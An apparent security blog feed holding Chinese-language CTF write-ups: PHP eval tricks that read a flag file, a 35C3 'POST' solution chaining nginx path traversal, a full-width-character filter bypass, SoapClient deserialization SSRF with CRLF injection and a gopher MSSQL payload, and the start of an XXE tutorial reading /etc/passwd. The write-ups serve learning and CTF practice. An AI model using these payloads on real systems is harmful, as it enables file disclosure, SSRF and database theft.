&lt;p&gt;get_defined_vars ( void ) : array&lt;br&gt;
获取定义的全部变量到一个数组里面&lt;br&gt;
This function returns a multidimensional array containing a list of all defined variables, be them environment, server or user-defined variables, within the scope that get_defined_vars() is called.&lt;/p&gt;
&lt;p&gt;current ( array $array ) : mixed&lt;br&gt;
指针指向当前数组元素&lt;br&gt;
Every array has an internal pointer to its &quot;current&quot; element, which is initialized to the first element inserted into the array.&lt;/p&gt;
&lt;p&gt;next ( array &amp;amp;$array ) : mixed&lt;br&gt;
与current()类似，next指向下一个数组元素&lt;br&gt;
next() behaves like current(), with one difference. It advances the internal array pointer one place forward before returning the element value. That means it returns the next array value and advances the internal array pointer by one.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;// Example
&amp;lt;?php
$transport = array(&#x27;foot&#x27;, &#x27;bike&#x27;, &#x27;car&#x27;, &#x27;plane&#x27;);
$mode = current($transport); // $mode = &#x27;foot&#x27;;
$mode = next($transport);    // $mode = &#x27;bike&#x27;;
$mode = current($transport); // $mode = &#x27;bike&#x27;;
$mode = prev($transport);    // $mode = &#x27;foot&#x27;;
$mode = end($transport);     // $mode = &#x27;plane&#x27;;
$mode = current($transport); // $mode = &#x27;plane&#x27;;

$arr = array();
var_dump(current($arr)); // bool(false)

$arr = array(array());
var_dump(current($arr)); // array(0) { }
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;于是结合这两个点就可以操纵下一个变量，来读flag&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code&gt;Payload
http://xxx:8084/
?code=eval(next(current(get_defined_vars())));
&amp;amp;b=print_r(scandir(&#x27;../&#x27;));print_r(file_get_contents(&#x27;../flag_phpbyp4ss&#x27;));&lt;/code&gt;&lt;/pre&gt;


&lt;h3 id=&quot;readfile-xxx&quot;&gt;readfile + xxx()&lt;/h3&gt;
&lt;p&gt;这个思路简直神了，运用php内置相关列目录函数，一步步找flag，看来有空要去看看php的内置函数了:)&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code&gt;Payload
code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));&lt;/code&gt;&lt;/pre&gt;</description>
    <pubDate>Sun, 03 Mar 2019 01:28:58 +0800</pubDate>
  </item>
  <item>
    <title>
      35c3 POST
    </title>
    <link>https://www.0akarma.com/35c3-POST.html</link>
    <description>&lt;h2 id=&quot;description&quot;&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Code &amp;amp; Writeup &lt;a href=&quot;https://github.com/eboda/35c3/tree/master/post&quot; rel=&quot;nofollow&quot;&gt;https://github.com/eboda/35c3/tree/master/post&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Go make some posts http://xxxx/&lt;br&gt;
Hint: flag is in db&lt;br&gt;
Hint2: the lovely XSS is part of the beautiful design and insignificant for the challenge&lt;br&gt;
Hint3: You probably want to get the source code, luckily for you it&#x27;s rather hard to configure nginx correctly.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;get-nginx-configuration-bak&quot;&gt;Get Nginx configuration bak&lt;/h2&gt;
&lt;p&gt;由hint3可知，nginx的配置是有漏洞的，扫一下后台发现&lt;code&gt;uploads&lt;/code&gt;是403，而且url末端没有带&lt;code&gt;/&lt;/code&gt;，于是测试一下任意文件读取，&lt;code&gt;http://xxx:8000/uploads../&lt;/code&gt;成功读取到上一级目录。看到&lt;code&gt;default.backup&lt;/code&gt;里面是nginx配置文件的bak&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-nginx&quot;&gt;server {
    listen 80;
    access_log  /var/log/nginx/example.log;

    server_name localhost;

    root /var/www/html;

    location /uploads {
        autoindex on;
        alias /var/www/uploads/;
    }

    location / {
        alias /var/www/html/;
        index index.php;

        location ~ \.php$ {
            include snippets/fastcgi-php.conf;
            fastcgi_pass unix:/run/php/php7.2-fpm.sock;
        }
    }

    location /inc/ {
        deny all;
    }
}

server {
    listen 127.0.0.1:8080;
    access_log /var/log/nginx/proxy.log;

    if ( $request_method !~ ^(GET)$ ) {
        return 405;
    }
    root /var/www/miniProxy;
    location / {
        index index.php;

        location ~ \.php$ {
            include snippets/fastcgi-php.conf;
            fastcgi_pass unix:/run/php/php7.2-fpm.sock;
        }
    }

}&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;正好验证了任意文件读取的洞，还有一个就是本地访问的8080端口～先放着，估计又是一个SSRF～&lt;/p&gt;
&lt;h2 id=&quot;audit-html-source-code&quot;&gt;audit /html/ source code&lt;/h2&gt;
&lt;p&gt;每个文件都读一读，发现&lt;code&gt;default.php&lt;/code&gt;是个好东西～&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;lt;?php
    if (isset($_POST[&quot;title&quot;])) {
        $attachments = array();
        if (isset($_FILES[&quot;attach&quot;]) &amp;amp;&amp;amp; is_array($_FILES[&quot;attach&quot;])) {

            $folder = sha1(random_bytes(10));
            mkdir(&quot;../uploads/$folder&quot;);
            for ($i = 0; $i &amp;lt; count($_FILES[&quot;attach&quot;][&quot;tmp_name&quot;]); $i++) {
                if ($_FILES[&quot;attach&quot;][&quot;error&quot;][$i] !== 0) continue;
                $name = basename($_FILES[&quot;attach&quot;][&quot;name&quot;][$i]);
                move_uploaded_file($_FILES[&quot;attach&quot;][&quot;tmp_name&quot;][$i], &quot;../uploads/$folder/$name&quot;);
                $attachments[] = new Attachment(&quot;/uploads/$folder/$name&quot;);
            }
        }
        $post = new Post($_POST[&quot;title&quot;], $_POST[&quot;content&quot;], $attachments);
        $post-&amp;gt;save();
    }
    if (isset($_GET[&quot;action&quot;])) {
        if ($_GET[&quot;action&quot;] == &quot;restart&quot;) {
            Post::truncate();
            header(&quot;Location: /&quot;);
            die;
        } else {
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;&lt;code&gt;$attachments&lt;/code&gt;是一个&lt;code&gt;Attachment&lt;/code&gt;类，看一下是什么东东，&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;class Attachment {
    private $url = NULL;
    private $za = NULL;
    private $mime = NULL;

    public function __construct($url) {
        $this-&amp;gt;url = $url;
        $this-&amp;gt;mime = (new finfo)-&amp;gt;file(&quot;../&quot;.$url);
        if (substr($this-&amp;gt;mime, 0, 11) == &quot;Zip archive&quot;) {
            $this-&amp;gt;mime = &quot;Zip archive&quot;;
            $this-&amp;gt;za = new ZipArchive;
        }
    }

    public function __toString() {
        $str = &quot;&amp;lt;a href=&#x27;{$this-&amp;gt;url}&#x27;&amp;gt;&quot;.basename($this-&amp;gt;url).&quot;&amp;lt;/a&amp;gt; ($this-&amp;gt;mime &quot;;
        if (!is_null($this-&amp;gt;za)) {
            $this-&amp;gt;za-&amp;gt;open(&quot;../&quot;.$this-&amp;gt;url);
            $str .= &quot;with &quot;.$this-&amp;gt;za-&amp;gt;numFiles . &quot; Files.&quot;;
        }
        return $str. &quot;)&quot;;
    }

}&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;功能就是把上传的文件，打包成zip，然后&lt;code&gt;__toString()&lt;/code&gt;用来展示有多少个文件（attach）&lt;/p&gt;
&lt;p&gt;再来看看Post类的&lt;code&gt;save()&lt;/code&gt;方法&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;public function save() {
    global $USER;
    if (is_null($this-&amp;gt;id)) {
        DB::insert(&quot;INSERT INTO posts (userid, title, content, attachment) VALUES (?,?,?,?)&quot;, 
            array($USER-&amp;gt;uid, $this-&amp;gt;title, $this-&amp;gt;content, $this-&amp;gt;attachment));
    } else {
        DB::query(&quot;UPDATE posts SET title = ?, content = ?, attachment = ? WHERE userid = ? AND id = ?&quot;,
            array($this-&amp;gt;title, $this-&amp;gt;content, $this-&amp;gt;attachment, $USER-&amp;gt;uid, $this-&amp;gt;id));
    }&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;把数据insert进数据库，这里的$this-&amp;gt;attachment还是个类。&lt;/p&gt;
&lt;p&gt;再看看&lt;code&gt;load()&lt;/code&gt;&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;public static function load($id) {
        global $USER;
        $res = DB::query(&quot;SELECT * FROM posts WHERE userid = ? AND id = ?&quot;,
            array($USER-&amp;gt;uid, $id));
        if (!$res) die(&quot;db error&quot;);
        $res = $res[0];
        $post = new Post($res[&quot;title&quot;], $res[&quot;content&quot;], $res[&quot;attachment&quot;]);
        $post-&amp;gt;id = $id;
        return $post;
    }&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;从&lt;code&gt;db.php&lt;/code&gt;可以知道，当调用执行查询语句&lt;code&gt;db:query()&lt;/code&gt;返回结果时，会搜索是否有&lt;code&gt;$serializedobject$&lt;/code&gt;开头的特征字段，如果存在，则对其进行反序列化，看来那个&lt;code&gt;Attachment&lt;/code&gt;有用了:)&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;private static function retrieve_values($res) {
        $result = array();
        while ($row = sqlsrv_fetch_array($res)) {
            $result[] = array_map(function($x){
                return preg_match(&#x27;/^\$serializedobject\$/i&#x27;, $x) ?
                    unserialize(substr($x, 18)) : $x;
            }, $row);
        }
        return $result;
    }&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;但是又发现一个问题，我们不能构造&lt;code&gt;$serializedobject$&lt;/code&gt;，因为在插入之前会有过滤&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;private static function prepare_params($params) {
        return array_map(function($x){
            if (is_object($x) or is_array($x)) {
                return &#x27;$serializedobject$&#x27; . serialize($x);
            }

            if (preg_match(&#x27;/^\$serializedobject\$/i&#x27;, $x)) {
                die(&quot;invalid data&quot;);
                return &quot;&quot;;
            }

            return $x;
        }, $params);
    }&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;这里也要注意&lt;code&gt;arrary_map()&lt;/code&gt;这个函数，不然按照&lt;code&gt;$params&lt;/code&gt;是数组的话，是死活不会die到invalid data的。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;array_map ( callable $callback , array $array1 [, array $... ] ) : array&lt;/p&gt;
&lt;p&gt;array_map() returns an array containing all the elements of array1 after applying the callback function to each one. The number of parameters that the callback function accepts should match the number of arrays passed to the array_map()&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;看官方wp，发现这里有点皮～&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Luckily, MSSQL automatically converts full-width unicode characters to their ASCII representation. For example, if a string contains 0xEF 0xBC 0x84, it will be stored as $.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img alt=&quot;-w553&quot; src=&quot;/api/download/15503070649922.jpg&quot;&gt;&lt;br&gt;
所以可以得知&lt;code&gt;0xEF 0xBC 0x84&lt;/code&gt;(&lt;code&gt;＄&lt;/code&gt;)是&lt;code&gt;$&lt;/code&gt;的全角符号。&lt;br&gt;
应该是mssql会把全角字符转化为对应的ascii码，而ascii码无论是全角还是半角都是一样的，所以用这个骚姿势就绕过了这个insert的检查。于是，在content字段构造&lt;code&gt;$serializedobject＄序列化的数据&lt;/code&gt;，就能成功反序列化出任意类了。&lt;/p&gt;
&lt;h2 id=&quot;unserialize-to-trigger-ssrf&quot;&gt;Unserialize to trigger SSRF&lt;/h2&gt;
&lt;p&gt;看了一下&lt;code&gt;miniProxy&lt;/code&gt;的代码，第一时间想到的就是&lt;code&gt;SoapClient&lt;/code&gt;，接下来就是要想怎么去伪造她了。&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;# default.php
foreach($posts as $p) {
        echo $p;
        echo &quot;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&quot;;
    }&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;上面的代码会把依次调用&lt;code&gt;Post&lt;/code&gt;类和&lt;code&gt;Attachment&lt;/code&gt;类的&lt;code&gt;__toString()&lt;/code&gt;方法。&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;public function __toString() {
        $str = &quot;&amp;lt;a href=&#x27;{$this-&amp;gt;url}&#x27;&amp;gt;&quot;.basename($this-&amp;gt;url).&quot;&amp;lt;/a&amp;gt; ($this-&amp;gt;mime &quot;;
        if (!is_null($this-&amp;gt;za)) {
            $this-&amp;gt;za-&amp;gt;open(&quot;../&quot;.$this-&amp;gt;url);
            $str .= &quot;with &quot;.$this-&amp;gt;za-&amp;gt;numFiles . &quot; Files.&quot;;
        }
        return $str. &quot;)&quot;;
    }&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;而&lt;code&gt;Attachment&lt;/code&gt;类的&lt;code&gt;__toString()&lt;/code&gt;里的&lt;code&gt;$this-&amp;gt;za-&amp;gt;open()&lt;/code&gt;正是我们可以利用的对象，若我们构造&lt;code&gt;$this-&amp;gt;za&lt;/code&gt;为&lt;code&gt;SoapClient&lt;/code&gt;类的实例，而其中没有open()函数，她就会触发&lt;code&gt;__call()&lt;/code&gt;函数，发送一次http请求，从而达到ssrf。&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;# 测试payload
&amp;lt;?php
class Attachment {
    private $url = NULL;
    private $za = NULL;
    private $mime = NULL;

    public function __construct() {
        $this-&amp;gt;url = &#x27;1&#x27;;
        $this-&amp;gt;mime = &#x27;2&#x27;;
        $this-&amp;gt;za = new SoapClient(null, array(&#x27;location&#x27; =&amp;gt; &#x27;http://127.0.0.1:2333&#x27;, &#x27;uri&#x27; =&amp;gt; &#x27;&lt;a href=&quot;http://0akarma.com&quot; rel=&quot;nofollow&quot;&gt;http://0akarma.com&lt;/a&gt;&#x27;));
       $this-&amp;gt;za-&amp;gt;open(&quot;../&quot;);
        }
}
$attachment = new Attachment();
echo &#x27;$serializedobject＄&#x27;.serialize($attachment);
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;由之前的nginx配置可知，要访问miniProxy需要达到的条件有&lt;br&gt;
&lt;em&gt; 端口8080&lt;br&gt;
&lt;/em&gt; GET型请求&lt;/p&gt;
&lt;p&gt;但是SoapClient类默认是POST型的，这里我们就需要再结合&lt;a href=&quot;&quot; rel=&quot;nofollow&quot;&gt;CRLF漏洞&lt;/a&gt;了。&lt;/p&gt;
&lt;h2 id=&quot;gopher-exploit-mssql&quot;&gt;gopher exploit MSSql&lt;/h2&gt;
&lt;p&gt;接下来审计一下miniProxy.php的代码&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;//Extract and sanitize the requested URL, handling cases where forms have been rewritten to point to the proxy.
if (isset($_POST[&quot;miniProxyFormAction&quot;])) {
  $url = $_POST[&quot;miniProxyFormAction&quot;];
  unset($_POST[&quot;miniProxyFormAction&quot;]);
} else {
  $queryParams = Array();
  parse_str($_SERVER[&quot;QUERY_STRING&quot;], $queryParams);
  //If the miniProxyFormAction field appears in the query string, make $url start with its value, and rebuild the the query string without it.
  if (isset($queryParams[&quot;miniProxyFormAction&quot;])) {
    $formAction = $queryParams[&quot;miniProxyFormAction&quot;];
    unset($queryParams[&quot;miniProxyFormAction&quot;]);
    $url = $formAction . &quot;?&quot; . http_build_query($queryParams);
  } else {
    $url = substr($_SERVER[&quot;REQUEST_URI&quot;], strlen($_SERVER[&quot;SCRIPT_NAME&quot;]) + 1);
  }&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;看到这个&lt;code&gt;?&lt;/code&gt;和&lt;code&gt;REQUEST_URI&lt;/code&gt;感觉比较有戏～&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;if (empty($url)) {
    if (empty($startURL)) {
      die(&quot;&amp;lt;html&amp;gt;&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;miniProxy&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;&amp;lt;body&amp;gt;&amp;lt;h1&amp;gt;Welcome to miniProxy!&amp;lt;/h1&amp;gt;miniProxy can be directly invoked like this: &amp;lt;a href=\&quot;&quot; . PROXY_PREFIX . $landingExampleURL . &quot;\&quot;&amp;gt;&quot; . PROXY_PREFIX . $landingExampleURL . &quot;&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;Or, you can simply enter a URL below:&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;form onsubmit=\&quot;if (document.getElementById(&#x27;site&#x27;).value) { window.location.href=&#x27;&quot; . PROXY_PREFIX . &quot;&#x27; + document.getElementById(&#x27;site&#x27;).value; return false; } else { window.location.href=&#x27;&quot; . PROXY_PREFIX . $landingExampleURL . &quot;&#x27;; return false; }\&quot; autocomplete=\&quot;off\&quot;&amp;gt;&amp;lt;input id=\&quot;site\&quot; type=\&quot;text\&quot; size=\&quot;50\&quot; /&amp;gt;&amp;lt;input type=\&quot;submit\&quot; value=\&quot;Proxy It!\&quot; /&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&quot;);
    } else {
      $url = $startURL;
    }
} else if (strpos($url, &quot;:/&quot;) !== strpos($url, &quot;://&quot;)) {
    //Work around the fact that some web servers (e.g. IIS 8.5) change double slashes appearing in the URL to a single slash.
    //See &lt;a href=&quot;https://github.com/joshdick/miniProxy/pull/14&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joshdick/miniProxy/pull/14&lt;/a&gt;
    $pos = strpos($url, &quot;:/&quot;);
    $url = substr_replace($url, &quot;://&quot;, $pos, strlen(&quot;:/&quot;));
}
$scheme = parse_url($url, PHP_URL_SCHEME);
if (empty($scheme)) {
  //Assume that any supplied URLs starting with // are HTTP URLs.
  if (strpos($url, &quot;//&quot;) === 0) {
    $url = &quot;http:&quot; . $url;
  }
} else if (!preg_match(&quot;/^https?$/i&quot;, $scheme)) {
    die(&#x27;Error: Detected a &quot;&#x27; . $scheme . &#x27;&quot; URL. miniProxy exclusively supports http[s] URLs.&#x27;);
}&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;这里限制了只能用http / https协议，那是否可以用跳转来访问？还是有什么能让$scheme经过&lt;code&gt;parse_url()&lt;/code&gt;之后为空的呢？&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;var_dump(parse_url(&quot;&lt;a href=&quot;http:///www.0akarma.com&quot; rel=&quot;nofollow&quot;&gt;http:///www.0akarma.com&lt;/a&gt;&quot;));
# Result: boolean false&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;官方wp说跳转访问mssql是非预期解～～&lt;br&gt;
用&lt;code&gt;/miniProxy.php?gopher:///&lt;/code&gt;绕过才是出题人的最初想法。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The miniProxy does not return the output of the request if the resulting URL is different from the requested URL (which it is in our case).&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;所以我们需要知道自己的uid，然后让mssql把flag写进自己的post里面～只需要抓个包加个&lt;code&gt;DEBUG&lt;/code&gt;头即可。&lt;br&gt;
&lt;img alt=&quot;-w1109&quot; src=&quot;/api/download/15503223044174.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;然后再用上官方的exp&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;php exploit.php  &quot;insert into posts(userid,title,content,attachment) values (3,\&quot;flag\&quot;,(select flag
from flag.flag),\&quot;flag\&quot;);&quot;
JHNlcmlhbGl6ZWRvYmplY3TvvIRPOjEwOiJBdHRhY2htZW50IjoxOntzOjI6InphIjtPOjEwOiJTb2FwQ2xpZW50IjozOntzOjM6InVyaSI7czozNToiaHR0cDovL2xvY2FsaG9zdDo4MDgwL21pbmlQcm94eS5waHAiO3M6ODoibG9jYXRpb24iO3M6MzU6Imh0dHA6Ly9sb2NhbGhvc3Q6ODA4MC9taW5pUHJveHkucGhwIjtzOjExOiJfdXNlcl9hZ2VudCI7czoxMzQ5OiJBQUFBQUhhaGEKCkdFVCAvbWluaVByb3h5LnBocD9nb3BoZXI6Ly8vZGI6MTQzMy9BJTEyJTAxJTAwJTJGJTAwJTAwJTAxJTAwJTAwJTAwJTFBJTAwJTA2JTAxJTAwJTIwJTAwJTAxJTAyJTAwJTIxJTAwJTAxJTAzJTAwJTIyJTAwJTA0JTA0JTAwJTI2JTAwJTAxJUZGJTAwJTAwJTAwJTAxJTAwJTAxJTAyJTAwJTAwJTAwJTAwJTAwJTAwJTEwJTAxJTAwJURFJTAwJTAwJTAxJTAwJUQ2JTAwJTAwJTAwJTA0JTAwJTAwdCUwMCUxMCUwMCUwMCUwMCUwMCUwMCUwMFQwJTAwJTAwJTAwJTAwJTAwJTAwJUUwJTAwJTAwJTA4JUM0JUZGJUZGJUZGJTA5JTA0JTAwJTAwJTVFJTAwJTA3JTAwbCUwMCUwQSUwMCU4MCUwMCUwOCUwMCU5MCUwMCUwQSUwMCVBNCUwMCUwOSUwMCVCNiUwMCUwMCUwMCVCNiUwMCUwNyUwMCVDNCUwMCUwMCUwMCVDNCUwMCUwOSUwMCUwMSUwMiUwMyUwNCUwNSUwNiVENiUwMCUwMCUwMCVENiUwMCUwMCUwMCVENiUwMCUwMCUwMCUwMCUwMCUwMCUwMGElMDB3JTAwZSUwMHMlMDBvJTAwbSUwMGUlMDBjJTAwaCUwMGElMDBsJTAwbCUwMGUlMDBuJTAwZyUwMGUlMDByJTAwJUMxJUE1UyVBNVMlQTUlODMlQTUlQjMlQTUlODIlQTUlQjYlQTUlQjclQTVuJTAwbyUwMGQlMDBlJTAwLSUwMG0lMDBzJTAwcyUwMHElMDBsJTAwbCUwMG8lMDBjJTAwYSUwMGwlMDBoJTAwbyUwMHMlMDB0JTAwVCUwMGUlMDBkJTAwaSUwMG8lMDB1JTAwcyUwMGMlMDBoJTAwYSUwMGwlMDBsJTAwZSUwMG4lMDBnJTAwZSUwMCUwMSUwMSUwMCVGQyUwMCUwMCUwMSUwMCUxNiUwMCUwMCUwMCUxMiUwMCUwMCUwMCUwMiUwMCUwMCUwMCUwMCUwMCUwMCUwMCUwMCUwMCUwMSUwMCUwMCUwMGklMDBuJTAwcyUwMGUlMDByJTAwdCUwMCUyMCUwMGklMDBuJTAwdCUwMG8lMDAlMjAlMDBwJTAwbyUwMHMlMDB0JTAwcyUwMCUyOCUwMHUlMDBzJTAwZSUwMHIlMDBpJTAwZCUwMCUyQyUwMHQlMDBpJTAwdCUwMGwlMDBlJTAwJTJDJTAwYyUwMG8lMDBuJTAwdCUwMGUlMDBuJTAwdCUwMCUyQyUwMGElMDB0JTAwdCUwMGElMDBjJTAwaCUwMG0lMDBlJTAwbiUwMHQlMDAlMjklMDAlMjAlMDB2JTAwYSUwMGwlMDB1JTAwZSUwMHMlMDAlMjAlMDAlMjglMDAzJTAwJTJDJTAwJTIyJTAwZiUwMGwlMDBhJTAwZyUwMCUyMiUwMCUyQyUwMCUyOCUwMHMlMDBlJTAwbCUwMGUlMDBjJTAwdCUwMCUyMCUwMGYlMDBsJTAwYSUwMGclMDAlMEElMDBmJTAwciUwMG8lMDBtJTAwJTIwJTAwZiUwMGwlMDBhJTAwZyUwMC4lMDBmJTAwbCUwMGElMDBnJTAwJTI5JTAwJTJDJTAwJTIyJTAwZiUwMGwlMDBhJTAwZyUwMCUyMiUwMCUyOSUwMCUzQiUwMCUzQiUwMC0lMDAtJTAwJTIwJTAwLSUwMCBIVFRQLzEuMQpIb3N0OiBsb2NhbGhvc3QKCiI7fX0=%&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;&lt;img alt=&quot;-w1242&quot; src=&quot;/api/download/15503239297054.jpg&quot;&gt;&lt;br&gt;
拼接起来即可！&lt;/p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;出题人可谓是百费心思啊～&lt;/p&gt;
&lt;p&gt;从&lt;code&gt;nginx misconfiguration&lt;/code&gt;-&amp;gt;&lt;code&gt;arbitrary unserialize&lt;/code&gt;-&amp;gt;&lt;code&gt;SoapClient SSRF&lt;/code&gt;-&amp;gt;&lt;code&gt;SoapClient CRLF injection&lt;/code&gt;-&amp;gt;&lt;code&gt;miniProxy URL scheme bypass&lt;/code&gt;-&amp;gt;&lt;code&gt;Connect to MSSQL via gopher&lt;/code&gt;～～简直是爽的不能再爽，学到的东西太多了，国际赛就是不一样～自己还是太菜了。。&lt;/p&gt;</description>
    <pubDate>Sat, 16 Feb 2019 01:41:36 +0800</pubDate>
  </item>
  <item>
    <title>
      XML External Entity Learning
    </title>
    <link>https://www.0akarma.com/xxe-learning.html</link>
    <description>&lt;h2 id=&quot;basic-knowledge&quot;&gt;Basic Knowledge&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;what-is-xml&quot;&gt;What is XML&lt;/h3&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-xml&quot;&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt; &amp;lt;!-- XML声明 --&amp;gt;
&amp;lt;note&amp;gt; &amp;lt;!-- 根元素 --&amp;gt;
&amp;lt;to&amp;gt;Tove&amp;lt;/to&amp;gt;
&amp;lt;from&amp;gt;Jani&amp;lt;/from&amp;gt;
&amp;lt;heading&amp;gt;Reminder&amp;lt;/heading&amp;gt;
&amp;lt;body&amp;gt;Don&#x27;t forget me this weekend!&amp;lt;/body&amp;gt; &amp;lt;!-- 这三行是子元素 --&amp;gt;
&amp;lt;/note&amp;gt;&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;XML特点：&lt;br&gt;
&lt;em&gt; 必须有根元素&lt;br&gt;
&lt;/em&gt; 必须有一个关闭标签&lt;br&gt;
&lt;em&gt; 对大小写敏感&lt;br&gt;
&lt;/em&gt; 必须正确嵌套&lt;br&gt;
* 属性值必须加引号&lt;/p&gt;
&lt;h3 id=&quot;what-is-dtd&quot;&gt;What is DTD&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;Document Type Definition 即文档类型定义，用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明)，也可以独立的放在另外一个单独的文件中(外部引用)。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;实体分为&lt;code&gt;一般实体&lt;/code&gt;和&lt;code&gt;参数实体&lt;/code&gt;&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-xml&quot;&gt;&amp;lt;!-- 一般实体的声明与引用 --&amp;gt;
&amp;lt;!ENTITY 实体名称 &quot;实体内容&quot;&amp;gt;
&amp;amp;实体名称;&lt;/code&gt;&lt;/pre&gt;


&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-xml&quot;&gt;&amp;lt;!-- 参数实体的声明与引用 --&amp;gt;
&amp;lt;!ENTITY % 实体名称 &quot;实体内容&quot;&amp;gt;
%实体名称;&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;要注意的就是，&lt;code&gt;参数实体&lt;/code&gt;只能在DTD中引用。而且实体字符（&amp;lt;、&amp;gt;、&amp;amp;、&#x27;、&quot;）要用对应的HTML编码字符替换。&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-xml&quot;&gt; &amp;lt;?xml version = &quot;1.0&quot; encoding = &quot;utf-8&quot;?&amp;gt;
    &amp;lt;!DOCTYPE test [
    &amp;lt;!ENTITY writer &quot;Dawn&quot;&amp;gt;
    &amp;lt;!ENTITY copyright &quot;Copyright &lt;a href=&quot;http://W3School.com.cn&quot; rel=&quot;nofollow&quot;&gt;W3School.com.cn&lt;/a&gt;&quot;&amp;gt;

    &amp;lt;!ENTITY file SYSTEM &quot;file:///etc/passwd&quot;&amp;gt;
    &amp;lt;!ENTITY copyright SYSTEM &quot;&lt;a href=&quot;http://www.w3school.com.cn/dtd/entities.dtd&quot; rel=&quot;nofollow&quot;&gt;http://www.w3school.com.cn/dtd/entities.dtd&lt;/a&gt;&quot;&amp;gt;
    ]&amp;gt;
    &amp;lt;in&amp;gt;&amp;amp;writer;©right;&amp;lt;/in&amp;gt; &amp;lt;!-- 内部实体声明 --&amp;gt;
    &amp;lt;out&amp;gt;&amp;amp;file;©right;&amp;lt;/out&amp;gt;&amp;lt;!-- 外部实体声明 --&amp;gt;&lt;/code&gt;&lt;/pre&gt;


&lt;h2 id=&quot;xxe-attack&quot;&gt;XXE Attack&lt;/h2&gt;
&lt;h3 id=&quot;read-sensitive-file&quot;&gt;Read sensitive file&lt;/h3&gt;
&lt;p&gt;读文件有两种情况，一种是有回显的，另一种是要通过&lt;code&gt;DTD&lt;/code&gt;发送到vps上的。&lt;br&gt;
